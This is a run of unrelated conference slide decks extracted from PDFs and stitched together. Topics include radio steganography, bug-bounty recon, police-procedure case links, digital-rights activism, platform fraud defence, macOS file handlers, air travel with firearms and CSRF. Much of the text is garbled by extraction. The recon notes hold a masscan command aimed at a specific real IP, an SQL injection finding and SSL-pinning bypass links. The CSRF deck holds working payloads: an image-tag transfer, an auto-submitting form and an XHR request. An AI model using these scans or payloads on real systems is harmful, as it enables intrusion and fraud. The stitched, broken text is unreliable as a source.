Steganography in Commonly Used HF Radio Protocols @pdogg77 @TheDukeZip pdogg ● Paul / pdogg / @pdogg77 ● Day Job: Security Researcher at Confer Technologies Inc. ● Hobby: Licensed as an amateur radio operator in 1986, ARRL VE ● This is my second trip to DEF CON thedukezip ● Brent / thedukezip / @thedukezip ● Software & Systems Engineer (RF) ● Licensed ham radio op since 2006, ARRL VE Why You Shouldn't Do This And Why We Didn't Do It On The Air FCC Regulations (Title 47 – Part 97) § 97.113 Prohibited transmissions. (a) No amateur station shall transmit: … (4) Music using a phone emission except as specifically provided elsewhere in this section; communications intended to facilitate a criminal act; messages encoded for the purpose of obscuring their meaning, except as otherwise provided herein; obscene or indecent words or language; or false or deceptive messages, signals or identification. How This Project Started... Final Warning Slide... ● Hackers + Drinks = Project ● WANC - We are not cryptographers ● We are not giving cryptographic advice ● You should talk to a cryptographer ● If you are a cryptographer, we welcome your input What? We set out to demonstrate it was possible (or impossible) to create a: ● Low Infrastructure ● Long Range ● Covert ● Point to Point, Broadcast or Mesh ● Short Message Protocol Using existing consumer radio and computer equipment, leveraging a commonly used digital mode Why? ● Avoid censorship ● Avoid spying ● We believe you have the right to communicate without this interference ● You COULD use our method to communicate, OR use similar techniques to create your own method … Or “The Terrorists” No Internet? Amateur radio operators have expertise in this! Amateur Radio ● Many frequency bands reserved for amateur radio operators to communicate ● Voice chat, digital modes... ● Take a multiple choice test to get licensed ● Reminder: The rules say you can't do what we're showing you... AirChat ● Anonymous Lulzlabs ● Encrypted communication in plain sight ● Cool project with a different purpose ● Also breaks the rules Good Steganography / Good OPSEC ● … means hiding well in plain sight. ● Invisible to normal users ● “Plausible deniability” ● Not this → More Like This Ways to Hide... ● Protocol features (headers, checksums etc) ● Timing or substitution ● Errors ● No “spurious emissions” etc... (against the rules, obvious, very “visible”) ● Candidate Protocol must: … be in widespread common use … have places to hide … be relatively power efficient Need no special hardware or closed software Popular Sound Card Digital Modes ● RTTY – In use on radio since at least the 1920s – Baudot code – 5 bit symbols with a stop and a shift – “mark and space” – Amateurs almost always use a 45 baud version with 170hz carrier shift – Limited character set ● PSK31 etc. – Phase shift keying 31 baud... – Developed by Peter Martinez G3PLX in 1998 – VERY tight protocol - “Varicode” JT65 ● Developed by Joe Taylor – K1JT – 2005 ● Original paper: “The JT65 Communications Protocol” ● Designed for Earth-Moon-Earth communications. Also now widely used for skywave contacts ● Very power efficient ● Structured communication, very low data rate ● Open source implementation JT65 Conversations Some Common HF Ham Freqs: 20m 14.076MHz 15m 21.076MHz 10m 28.076MHz Upper Side Band Some JT65 Technical Details Some JT65 Technical Details User Message Some JT65 Technical Details User Message Some JT65 Technical Details User Message Source Encoding Some JT65 Technical Details User Message Source Encoding Some JT65 Technical Details FEC User Message Source Encoding Some JT65 Technical Details FEC User Message Source Encoding Some JT65 Technical Details FEC User Message Source Encoding Some JT65 Technical Details FEC User Message Source Encoding Some JT65 Technical Details FEC User Message Source Encoding Matrix Interleaving Some JT65 Technical Details User Message Source Encoding FEC Matrix Interleaving Some JT65 Technical Details User Message Source Encoding FEC Matrix Interleaving Gray Coding Some JT65 Technical Details User Message Source Encoding FEC Matrix Interleaving Gray Coding Audio ● JT65 “packet” sliced into 126 .372s intervals – 47.8s ● 1270.5 Hz sync tone - “pseudo-random synchronization vector” ● Symbols - 1270.5 + 2.6917(N+2)m Hz – N is the integral symbol value, 0 ≤ N ≤ 63 – m assumes the values 1, 2, and 4 for JT65 sub-modes A, B, and C Hiding in Reed Solomon Codes ● Exploit error correction! ● Easy/PoC Mode: Shove in some errors... :) (static “key”) ● Medium mode: Shove in errors, add some random cover ● Hard Mode: Encrypt and pack message, add FEC ● Prior Work: Hanzlik, Peter “Steganography in Reed-Solomon Codes”, 2011 Encoding Steganography (Basic) Steg: DEF CON 22 Encoding Steganography (Basic) Steg: DEF CON 22 Source Encoding: Encoding Steganography (Basic) Steg: DEF CON 22 Source Encoding: FEC: Can tolerate 4 errors Hiding Steganography Key: pdogg thedukezip Generate 20 'locations' based on SHA512 Hiding Steganography Key: pdogg thedukezip Generate 20 'locations' based on SHA512 Injecting Errors JT65: KB2BBC KA1AAB DD44 Injecting Errors JT65: KB2BBC KA1AAB DD44 Steg: DEF CON 22 Injecting Errors JT65: KB2BBC KA1AAB DD44 Steg: DEF CON 22 Key: pdogg thedukezip Injecting Errors JT65: KB2BBC KA1AAB DD44 Steg: DEF CON 22 Key: pdogg thedukezip Injecting Errors JT65: KB2BBC KA1AAB DD44 Steg: DEF CON 22 Key: pdogg thedukezip Injecting Errors JT65: KB2BBC KA1AAB DD44 JT65: KB2BBC KA1AAB DD44 Steg: DEF CON 22 Key: pdogg thedukezip What About Encryption? What About Encryption? ● We have 12 * 6 = 72 bits to play with ● We need 8 bit bytes... ● Well that gives us exactly 9 bytes What About Encryption? ● We have 12 * 6 = 72 bits to play with ● We need 8 bit bytes... ● Well that gives us exactly 9 bytes “Packing” Function Status 1 byte Data 8 bytes 01111000 11110010 10110001 11001001 10000001 00001001 00011001 00101010 10010011 “Packing” Function Status 1 byte Data 8 bytes 01111000 11110010 10110001 11001001 10000001 00001001 00011001 00101010 10010011 Steganography 12 6-bit symbols 100000 011100 100110 110001 111100 100111 100010 010011 001010 100001 100100 001001 “Status” Byte Status 1 byte ● Track how many total packets in message ● Flags for first / last packet ● Track size for stream ciphers “Status” Byte – Stream Cipher First packet: Middle packets: Last packet: Max size: 64 packets (512 bytes) ● (0x80) | (# of total packets) ● (0x40) | (# of bytes in packet) ● Packet Number First Packet? Last Packet? First? : # of total packets Last? : # of bytes in packet Else : Packet Number 1 bit 1 bit 6 bits “Status” Byte – Block Cipher First packet: Other packets: Max size: 128 packets (1024 bytes) ● (0x80) | (# of total packets) ● Packet Number First Packet? First? : # of total packets Else : Packet Number 1 bit 7 bits Hiding the Status Byte ● We'll talk about analysis in a bit... ● Steganography traffic was trivial to pick out of normal traffic because of this byte :( Perform Bit Swap Status 1 byte Data 8 bytes 01111000 11110010 10110001 11001001 10000001 00001001 00011001 00101010 10010011 Perform Bit Swap Status 1 byte Data 8 bytes 00111000 01110010 10110001 11001001 10111000 01001001 00011001 00101010 00010011 Perform Bit Swap Status 1 byte Data 8 bytes Steganography 12 6-bit symbols 101110 001100 100110 110001 011100 100011 100000 010011 001010 100001 100101 001001 00111000 01110010 10110001 11001001 10111000 01001001 00011001 00101010 00010011 JT65 Base Layer jt65 bin / lib JT65 Base Layer jt65 bin / lib JT65 Wrapper Layer jt65wrapy.py JT65 Base Layer jt65 bin / lib JT65 Wrapper Layer jt65wrapy.py Libraries jt65stego.py JT65 Base Layer jt65 bin / lib JT65 Wrapper Layer jt65wrapy.py Libraries jt65stego.py jt65sound.py JT65 Base Layer jt65 bin / lib JT65 Wrapper Layer jt65wrapy.py Libraries jt65stego.py jt65sound.py jt65tool.py JT65 Base Layer jt65 bin / lib JT65 Wrapper Layer jt65wrapy.py Libraries jt65stego.py jt65sound.py jt65tool.py jt65analysis.py JT65 Base Layer jt65 bin / lib JT65 Wrapper Layer jt65wrapy.py Libraries jt65stego.py jt65sound.py jt65tool.py jt65analysis.py Unit Tests Black Box Tests Tool Demo... “Feed Reader” RasPi Demo... Analysis/Steganalysis ● Defined set of legitimate JT65 packets ● “Known Cover Attack” ● Receive packet → Decode → Encode ● Demodulator provides “probability” or confidence ● Theory: – Packets suspected to contain steganography can be easily distinguished by some quantitative measure Analysis Module Finding Steganography is Easy Finding Steganography is Hard Finding Steganography is Hard Interesting Patterns (and a warning) Distance ● Considering we cannot SEND these packets ● Let's pretend we received them (<= 7 errors) ● How far away were the senders? Effectiveness as a World Wide Short Message Protocol “Vulnerabilities” / Known Limitations ● Analysis and Detection – As discussed / other methods ● Transmitter location (foxhunting) – Well studied problem/game by amateurs and TLAs – FCC/DEA/NSA - SANDKEY(1) ● Message Forgery ● Storage / long term cryptographic analysis (1) http://cryptomeorg.siteprotect.net/dea-nsa-sandkey.pdf How to get it? Oh yeah, it's on your conference DVD too... Available today! Conclusions ● Protocols and methods such as those presented can, in theory, provide a platform for short message communications with desirable properties: – Low infrastructure – Long distance – Covert – Plausibly deniable ● Potential for analysis and detection – Especially for well equipped adversaries Next Steps / Further Areas of Study ● Continued Detection / Counter Detection Work ● Cryptographic Improvements ● Enhanced amateur applications ● Useful protocols and networks Ham Exam Cram Session Crypto & Privacy Village Sunday 12 PM – 3 PM Wireless Village Sunday 9 AM – 12 PM THANKS! @pdogg77 @TheDukeZip https://www.github.com/pdogg/jt65stego/ Special Thanks @masshackers
pdf
SRC 1. IP 2. 1.SSL 2. 3.Github 4.DNS 5. SSL 12 SRC SSL 1.censys.io 2.crt.sh 1.riskiq 2.shodan 3.findsubdomains [] [] 4.censys.io 5.dnsdb.io DNS SSLGithub crt.shnss.a.com Github ​ ​ GET ​ json ​ fastjson ​ ​ Github github IP IPASIP IP : http://IPwhois.cnnic.net.cn/ 123.58.191.1 [IP] ​ IP ​ Netease-Network ​ IPNetease-Network ​ neteaseIPIP IP IP? IP [] IPpythonmasscan +nmap <<>> ​ masscanIP waf ​ IPwafIPIP masscanIP subprocessmasscan IP wafbreak 59.111.14.159 IP sudo masscan 59.111.14.159 -p1-65535 --rate 2000 IPpython ​ masscan-oX -oJ masscan masscan masscannmapnmap -sV -sT -Pn --version-all --open -sV -sT -sS-sT -sTroot -sSroot -Pnnmapping masscan nmap --open open --version-all [] 1., 2.rapid7fdnsrndsjson https://opendata.rapid7.com/sonar.rdns_v2/ https://opendata.rapid7.com/sonar.fdns_v2/ 1. 2. 3. 4.(js) 20161000web (js) [] ​ postgetjs apijs 2016Uberapi @cy hackerone1UberSQL apijsjs1api sqlUber api api2jsapijs 8apiapi ​ [] openidapi ​ 3000$ ​ Uber 403404 IP 106.**.**.147 403 ​ http://106.**.**.147/adver/landing.php ​ URL http://106.**.**.147/adver/landing.php?mac=1 SQL ​ SRC ? dict_count dict_count1order by dict_count desc SRC 1. 2. APPiosAndroidAPP APPSSLAPP APP iosiPhoneSSL Pining Disable SSL Pining http://pwn.dog/index.php/ios/ios-disable-ssl-pinning.html https://github.com/WooyunDota/DroidSSLUnpinning [] [] [APP]
pdf
Links to Police Procedure Cases & Essays When Can the Police Make a Stop? Probable Cause Brinegar v. US (1949) http://vlex.com/vid/20016296 case Maryland v. Pringle (2003) http://www.oyez.org/cases/2000-2009/2003/2003_02_809/ case Reasonable Suspicion Alabama v. White (1990) http://supreme.justia.com/us/496/325/ case http://www.megaessays.com/viewpaper/92482.html essay The Totality of the Circumstances US v. Arvizu (2002) http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=us&vol=000&invol=00-1519 case Frisks and Patdowns by Police Officers Terry v. Ohio (1968) Rules governing frisks http://www.soc.umn.edu/~samaha/cases/terry%20v%20ohio.html case http://mo.essortment.com/terryohiostop_rorf.htm essay When Must the Police Inform you of Your Rights? Miranda v. Arizona (1966) What rights must be given? http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=US&vol=384&invol=436 case Berkemer v. McCarty (1984) http://caselaw.duicenter.com/berkemer01.html case Searches What is a search? Katz v. US (1967) 4th Amend. Protects privacy http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=US&vol=389&invol=347 case http://www.uscourts.gov/outreach/resources/katz/index.html essay Search incident to an Arrest. (Search of general area around suspect allowed) New York v. Belton (1981) http://www.oyez.org/cases/1980-1989/1980/1980_80_328/ case Motor Vehicle Searches Carroll v. US (1925) No search warrant required http://vlex.com/vid/20024460 case New York v. Belton (1981) Warrant less search of passenger compartment allowed after arrest. http://www.oyez.org/cases/1980-1989/1980/1980_80_328/ case http://www.jus.state.nc.us/NCJA/legjul94.htm essay US v. Ross (1982) Every part of car can be searched that might contain the contraband http://www.oyez.org/cases/1980-1989/1981/1981_80_2209/ case When can the police “Kick” your door in without Knocking First? Wilson v. Arkansas (1995) Knock and Announce Required unless exception http://www.oyez.org/cases/1990-1999/1994/1994_94_5707/ case http://law.jrank.org/pages/13073/Wilson-v-Arkansas.html essay The Exclusionary Rule (Court Rule Barring Use of Illegally Obtained Evidence) Mapp v. Ohio (1961) http://www.oyez.org/cases/1960-1969/1960/1960_236/ case Massachusetts v. Sheppard (1984) http://caselaw.lp.findlaw.com/cgi-bin/getcase.pl?court=US&vol=468&invol=981 case http://www.phschool.com/atschool/supreme_court_cases/massachusetts.html Essay US v. Leon (1984) http://www.oyez.org/cases/1980-1989/1983/1983_82_1771/ case
pdf
Electronic Frontier Finland ry http://www.effi.org/ EFFI Mikko Välimäki & Ville Oksanen DEFCON XI, 2nd August 2003 Electronic Frontier Finland ry http://www.effi.org/ Electronic Frontier Finland ry  Founded in September 2001, over 300 members • Board and many active members are experts in law and technology  Comments law proposals concerning e.g. personal privacy, freedom of speech and fair use in copyright law; makes statements, press releases and participates actively in public policy discussions  Works in close cooperation with organizations sharing the same goals and values in Europe, United States and elsewhere. • Founding member of European Digital Rights and a member of Global Internet Liberty Campaign.  EFFI's home page: http://www.effi.org/ Electronic Frontier Finland ry http://www.effi.org/ Membership development 0 50 100 150 200 250 300 350 Members Founding 2001 X-mas 2002 Summer 2002 X-mas Now Electronic Frontier Finland ry http://www.effi.org/ Why members?  Why responsibility? Why democracy?  If you want to get heard: • Get out of the closet • Say and prove there is someone you represent  Members give not only credibility, viability and financial resources but in addition, active members contribute to statements etc. much like in open source development Electronic Frontier Finland ry http://www.effi.org/ EFFI milestones  First time in press: 2001-09-03  Organization founded: 2001-09-05  First public statement about a law proposal: 2001-11-12  First time in Cable-TV: 2002-05-20  First time in a parliamentary hearing: 2002- 09-20  First time in National Radio: 2002-10-13  First time in a TV talk show: 2002-10-14 Electronic Frontier Finland ry http://www.effi.org/ Fight against EUCD  European Union Copyright Directive, EUCD == DMCA, only worse  EU member countries have to change the national laws to reflect directives  First Finnish law proposal was awful -> EFFI (and others) managed to block it in the parliament after successful hearings  Parliament ran out of time, which helped a lot (otherwise they might have tried to correct the law) Electronic Frontier Finland ry http://www.effi.org/ Electronic Frontier Finland ry http://www.effi.org/ ..but the fight goes on  The latest version came out 7/16/03  This time it will be accepted, the question is if EFFI can change it at all  EU-wide cooperation to find innovative ways to “circumvent” the directive Electronic Frontier Finland ry http://www.effi.org/ “The Freedom of Expression in Public Communication Act” == Censorship Act  Local censorship law proposal to all ”web publications” from 2001  Original version would have set severe restrictions and criminal punishments including: • Archive all publications for 3 months • All web-publications must have 18-year-old editior-in-chief (including usenet and IRC etc..) • Log practically all Internet traffic  No clear definition what is a web publication Electronic Frontier Finland ry http://www.effi.org/ Censorship Act … cntd  EFFI joined the forces with local ISPs  EFFI was invited to testify in the Constitutional Committee • Clear technical and economic arguments why the current proposal is obtuse  Most of the proposed changes were accepted in early 2003 Electronic Frontier Finland ry http://www.effi.org/ Electronic Frontier Finland ry http://www.effi.org/ Big Brother Awards 2003… Jyrki Kasvi, Member of the Parliament and famous geek from the 1980s Electronic Frontier Finland ry http://www.effi.org/ Winner: Sonera  Now as TeliaSonera the biggest ISP / Telco in Scandinavia  Both cell phone surveillance & e-mail snooping by top management in 1999-2001 Electronic Frontier Finland ry http://www.effi.org/ European-wide activity  Lots of push to found ”EFF-Europe” • Too many voices around to have one vision • Too little resources to do something EU-wide (it’s bloody expensive to lobby in Brussels)  In effect, the most ambitious groups founded European Digital Rights, EDRI in 2002  Lobbying against software patents • Euro-Linux Alliance Electronic Frontier Finland ry http://www.effi.org/ European Digital Rights  Current members: • Association Electronique Libre (AEL) – Belgium, Bits of Freedom – Netherlands, Chaos Computer Club (CCC) – Germany, CPSR-ES – Spain, Digital Rights - Denmark Electronic Frontier Finland (EFFI), Foundation for Information Policy Research (FIPR) - United Kingdom, Förderverein Informationstechnik und Gesellschaft (FITUG) – Germany, Internet Society Bulgaria Imaginons un Réseau Internet Solidaire (IRIS) – France, Privacy International - United Kingdom, Swiss Internet User Group (SIUG) – Switzerland,Quintessenz – Austria,VIBE!AT – Austria  No personal members  Working groups, which are open to individuals Electronic Frontier Finland ry http://www.effi.org/ What are we doing?  EFFI is a ”human change agent” • We aim at changing the perception of general public and politicians  Because they do not know • Politicians get their information from daily news and friends; just guess who have feeded those sources for ages… • Also plain tech-ignorance is still commonplace among elder politicians Electronic Frontier Finland ry http://www.effi.org/ “So, what can I do?”  Easy way: give money to others to do the work  Hard way: become activist • Unorganized activism • Organized activism  It can be fun (and if your are lucky you don’t even have to pay to get to Defcon) Both important Electronic Frontier Finland ry http://www.effi.org/ Effective activism? DDoS RIAA web-site WRONG Electronic Frontier Finland ry http://www.effi.org/ Effective activism? Find out how a copy protection system on CD work. Publish the result. CCRightCC Electronic Frontier Finland ry http://www.effi.org/ Effective activism? Help coding anonymous P2P-systems CCRightCC Electronic Frontier Finland ry http://www.effi.org/ Effective Activism  It’s too expensive to buy publicity, therefore: • Learn how to write press releases • Learn how to arrange pickets • Civil disobedience?  GreenPeace style  Anti-globalization movement style Electronic Frontier Finland ry http://www.effi.org/ Learn how to read laws  Yes, really. And it’s not even that difficult  Anyone how can read Perl can learn to decipher legalese..  Code has bugs, laws have loopholes • Legal exploits Electronic Frontier Finland ry http://www.effi.org/ Example  2. Member States shall provide adequate legal protection against the manufacture, import, distribution, sale, rental, advertisement for sale or rental, or possession for commercial purposes of devices, products or components or the provision of services which:  (a) are promoted, advertised or marketed for the purpose of circumvention of, or  (b) have only a limited commercially significant purpose or use other than to circumvent, or  (c) are primarily designed, produced, adapted or performed for the purpose of enabling or facilitating the circumvention of, any effective technological measures. Electronic Frontier Finland ry http://www.effi.org/ Example  2. Member States shall provide adequate legal protection against the manufacture, import, distribution, sale, rental, advertisement for sale or rental, or possession for commercial purposes of devices, products or components or the provision of services which:  (a) are promoted, advertised or marketed for the purpose of circumvention of, or  (b) have only a limited commercially significant purpose or use other than to circumvent, or  (c) are primarily designed, produced, adapted or performed for the purpose of enabling or facilitating the circumvention of, any effective technological measures. Electronic Frontier Finland ry http://www.effi.org/ Found your own association?  First, check if there is any decent activity already happening in your area  If not or there is some problem like an inefficient organization or too many control-freaks around: • Start online discussion groups, invite people by email, and if everyone agrees, go and do the real thing Electronic Frontier Finland ry http://www.effi.org/ Our experience says…  Get individual members and give them possibility to contribute; ally with other organization locally and internationally  Give press releases and circulate them to every relevant newspaper, radio and TV channel; speak roughly and straight  Call policy makers and arrange meetings; try to behave elegantly Electronic Frontier Finland ry http://www.effi.org/ Battle rages – choose your side  Electronic Frontier Finland ry – http://www.effi.org/
pdf
Your Goal: Be a Harder Target Many of the same risks apply U.S. v. Schaffer suspect should know “If I were your lawyer, I’d advise you not to answer that tweet.” directly to any individuals forums known to support or promote illegal activity consider disabling comments Authorship Analysis in Cybercrime Investigation
pdf
快手业务安全 ——敌众我寡的歼灭战 讲师介绍 姓名:陈成 • 2014.2 中国科学院 信息安全 博士 • 2018.3 快手-风控业务安全负责人 目录 01 初识黑灰产 02 走进风控 03 核心打法 一、初识黑灰产 黑色产业链 人数盘大 敌暗我明 n 善于伪装、反侦察意 识强 产业链逐渐完善 n 集团化、规模化、智 能化 n 百万从业人员 n 年产值达千亿 灰色产业链 从“肉鸡”到“真鸡” Ø 真人真机 Ø 平台化、裂变化 Ø 多场景、多行业 14 15 37 52 184 692 1542 2014年 2015年 2016年 2017年 2018年 2019年 2020年 2014年-2020年真人作弊APP开发者数量发展走势 短视频下的黑灰产——帐号安全 黑产 盗号扫号、批量注册 灰产 养号、租号 短视频下的黑灰产——引流 黑产:垃圾内容 灰产:经营人设诈骗 短视频下的黑灰产——流量作弊 灰产 黑产 短视频下的黑灰产——活动“薅羊毛” 黑产:改机、分身、群控 灰产:互助、众包 黑灰产特点 成本低,危害大 对抗性强 前中后台形成产业链 灰产 隐蔽、难识别 难处置 背后往往是黑产 黑产 二、走近风控 黑灰产治理的特点——持续对抗过程 区 别 于A I 算 法 区 别 社 区 规 则 区 别 漏 洞 挖 掘 黑灰产治理的难点——平衡安全和体验 保安全同时保体验 不合适的风控手段得不偿失 l 直接影响用户体验 l 甚至有舆情风险 黑灰产治理的难点——业务沟通 • 漏了多少 • 误伤了多少 幸存者偏差 来自业务的灵魂拷问 出了问题才来找风控 对接困难、低效 黑灰产治理的难点——木桶效应 处于业务下游,业务感知弱 战线长,业务复杂 三、核心打法 业务架构—中台化 核心打法 策略对抗 应对挑战… 强对抗 保体验 业务沟通难 感知弱 风险战线广 1 2 3 4 5 提出核心解法 产品方案 业务联动 基础能力 情报体系 策略对抗——平台化 低门槛高效率:上线无需写代码 接入、分析、上线、处置、监控一条龙服务 风险预警、熔断保护 界面友好,操作顺畅 平台化 策略对抗——从人工到半自动化 策略对抗——无监督和半监督的广泛应用 异构图关系中的作弊团伙 基础特征联合概率分布 业务联动——产品手段 奖励延时发放 风险提示 专属文案 业务联动——统一收口、联防联控 同中台对接,减少风控对接成本 各场景各业务能力打通,起到联防 联控效果 业务联动——风控流程 基础能力建设 • 端安全 • 验证&处置中心 情报体系 Ø 通过外部发现业务风险 Ø 研究黑灰产行为,组织专题报告 Ø 发现线索,业务评估 情报 收集 情报平台 治理效果——内部数据 活动资损率 客诉率 <0.2% <2次/十万 减少资损 百万元/天 恶意曝光率 客诉率 <0.01% <1次/百万 拦截请求 十万次/天 活动反作弊 恶意引流 治理效果——外部评价
pdf
mac 0x00 scheme 0x01 macdefault application default application 2.pypython launchpython windows Uniform Type Identifier https://en.wikipedia.org/wiki/Uniform_Type_Identifier https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System- DeclaredUniformTypeIdentifiers.html 0x02 /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/ lsregister -dump > dumpfile dumpfiledumpfile vimdumpfileshell-scrip shell.sh.bashjs javawebstartjnlp wfox.command.tool iterm2 iterm2utischeme.its.itr
pdf
Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Why Transporting Firearms May Be The Best Way To Safeguard Your Tech When You Fly Deviant Ollam Packing & the Friendly Skies Deviant Ollam you may have seen me before… Packing & the Friendly Skies Deviant Ollam i speak at lots of cons… Packing & the Friendly Skies Deviant Ollam many of which i can’t drive to… Packing & the Friendly Skies Deviant Ollam my bags used to get opened a lot Packing & the Friendly Skies Deviant Ollam … and not always by the TSA Packing & the Friendly Skies Deviant Ollam nowadays i lock all my gear Packing & the Friendly Skies Deviant Ollam notice… these are not TSA locks Packing & the Friendly Skies Deviant Ollam but proper heavy-duty padlocks Packing & the Friendly Skies Deviant Ollam how is this allowed Packing & the Friendly Skies Deviant Ollam simple, really… Packing & the Friendly Skies Deviant Ollam now, i fly with firearms all the time Packing & the Friendly Skies Deviant Ollam flying with firearms… • it’s easier than you think • it’s relatively hassle-free • it results in major security Packing & the Friendly Skies Deviant Ollam facts and the law… • federal standards (mostly uniform, specifics can vary by airline… but no one can abridge your rights) • checked bag only, unloaded (do i really have to tell you that?) • non-TSA lock (no one else gets the key or combo) • declared upon check-in Packing & the Friendly Skies Deviant Ollam specifics about packing… • hard case, size can vary (i’ll assume you’ll use larger luggage to leverage the law to your advantage) • ammo policies can vary a lot by airline (how it’s packed, how much you can carry, same luggage or separately) • bags may not be opened once secured (unless you are present) • no outside indicator labels of any kind (27 CFR 478.31 - Delivery by Common or Contract Carrier, 18 USC Section 922e) Packing & the Friendly Skies Deviant Ollam how the procedure works and what to expect… Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam some extra pointers that can make the whole process easier, better, faster, stronger… Packing & the Friendly Skies Deviant Ollam extra pointers… • don’t be a dumbass when you declare • name tags on everything, inside and out • keep cases locked as much as possible (better to be asked five times to open them than to send them away unsecured) • getting to secondary screening area • no outside indicator labels of any kind (that’s US federal law, other nations have own standards) Federal law states: “No common or contract carrier shall require or cause any label, tag, or other written notice to be placed on the outside of any package, luggage, or other container that such package, luggage, or other container contains a firearm.” 18 USC Section 922(e) Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam more international notes… • luggage tagging • clearing customs • other people you’ll encounter Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam one other tip to deal with hassles… Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam my advice . . . Packing & the Friendly Skies Deviant Ollam if there’s a problem… • know the rules, show the rules (legal citation sheet on deviating.net) Packing & the Friendly Skies Deviant Ollam if there’s a problem… • know the rules, show the rules (legal citation sheet on deviating.net) • stay polite, stand your ground • be direct, you are doing nothing wrong • peace of mind over lost luggage Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam still, nothing as satisfying as… Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam more tips… • insurance coverage can vary • possible to play with weight a bit • inside other luggage? sure, but why? • not just “functional” firearms… Packing & the Friendly Skies Deviant Ollam what counts as a firearm? • proper guns • flare guns • starter / blank pistols • airsoft pieces • replica weapons • gun parts & hardware? the law specifies “firearms” which, by definition, expel a projectile by means of a combustible propellant… but essentially, they want to avoid screeners or automated x-ray equipment seeing anything that looks like a firearm when they weren’t expecting to encounter it. http://deviating.net/firearms/packing/#flare Packing & the Friendly Skies Deviant Ollam how do the various carriers rate? A B C D (maybe) Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam Packing & the Friendly Skies Deviant Ollam please… tell me how it goes for you! Packing & the Friendly Skies Deviant Ollam one last pearl of wisdom… … skipping ahead in line Packing & the Friendly Skies Deviant Ollam best advice i can give… … grab a skycap Packing & the Friendly Skies Deviant Ollam best advice i can give… … grab a skycap Packing & the Friendly Skies Deviant Ollam a frequently asked question… what are the “best” padlocks out there? Packing & the Friendly Skies Deviant Ollam Abus Granit 37/60 a1qualitysafeonline.com $100 Abloy Protec 362 securitysnobs.com $200+ Abloy Puck securitysnobs.com $90 Abus Diskus 20/70 1st-in-padlocks.com $35 Abloy PL321 securitysnobs.com $25 what are the “ best ” padlocks out there? Packing & the Friendly Skies Deviant Ollam another frequently asked question… what do i use for luggage when i travel? Packing & the Friendly Skies Deviant Ollam 81 mm mortar round case Packing & the Friendly Skies Deviant Ollam heavy hinge hasp Packing & the Friendly Skies Deviant Ollam bolts with J-B Weld or Loctite Packing & the Friendly Skies Deviant Ollam my personal setup… • 81 mm mortar round case $ 15 http://store.colemans.com/cart/ammo-can-81-mm-p-225.html • heavy hinged hasp $ 10 hardware stores anywhere • bolts, J-B Weld / Loctite $ 5 hardware stores anywhere Packing & the Friendly Skies Deviant Ollam my personal setup… ironclad luggage $30 Packing & the Friendly Skies Deviant Ollam thank you very much! Packing & the Friendly Skies Deviant Ollam any questions? Packing & the Friendly Skies Deviant Ollam deviating.net/firearms [email protected] Packing & the Friendly Skies Deviant Ollam
pdf
WIPING OUT CSRF JOE ROZNER | @JROZNER IT’S 2017 WHAT IS CSRF? WHEN AN ATTACKER FORCES A VICTIM TO EXECUTE UNWANTED OR UNINTENTIONAL HTTP REQUESTS 4 WHERE DOES CSRF COME FROM? ▸ Safe ▸ GET ▸ HEAD ▸ OPTIONS ▸ Unsafe ▸ PUT ▸ POST ▸ DELETE 6 SAFE VS. UNSAFE COOKIES ▸ Cookies typically used to specify session identifier for server ▸ Users depend on user agents to correctly control access to cookies ▸ User agents only but always send cookies with matching domain to hosts ▸ This is done regardless of matching origin ▸ Cookies are user agent global (work cross tab) 7 SESSION=298zf09hf012fh2; Domain=example.com; Secure; HttpOnly XSS ▸ Attackers use XSS to inject CSRF payloads into the DOM ▸ With sufficient XSS all counter measures can be bypassed 9 HOW DOES CSRF WORK? RESOURCE INCLUSION ▸ Doesn’t depend on XSS or attacker supplied pages ▸ Requires an attacker to have control over resources on the page ▸ Depends on using safe verbs unsafely ▸ Limited to GET requests ▸ Possible with any HTML tags for remote resources ▸ img, audio, video, object, etc. 11 <img src="http://bank.lol/transfer.php?to=12345&amount=100000"></img> FORM BASED ▸ Normal HTML form that a victim is forced to submit ▸ Either genuinely supplied or attacker supplied (via XSS) ▸ Typically performed with JavaScript via XSS or attacker controlled page ▸ Good option for bypassing same origin without CORS ▸ Good option where safe verbs are used correctly ▸ Useful for phishing links as long as form click is fast 13 <html> <head> </head> <body> <form action="http://bank.lol/transfer.php" method="POST"> <input type="hidden" name="to" value="attacker" /> <input type="hidden" name="amount" value="100000" /> <input type="submit">Submit</input> </form> </body> <script>document.querySelector('form').submit();</script> </html> XHR ▸ Typically comes from an XSS payload ▸ Limited to the origin unless CORS is enabled ▸ No page reload required ▸ More difficult for victim to detect 15 <script> var xhr = new XMLHttpRequest(); xhr.open('POST', '/transfer.php', true); xhr.onreadystatechange=function() { if (xhr.readyState === 4) { // request made } }; xhr.send('to=attacker&amount=1000000'); </script> DEMO TIME CURRENT SOLUTIONS ▸ Using safe verbs correctly ▸ Verifying origin ▸ Synchronizer/crypto tokens 18 ⚠ DISCLAIMER WHY? ▸ Inability to modify the application ▸ Bulk 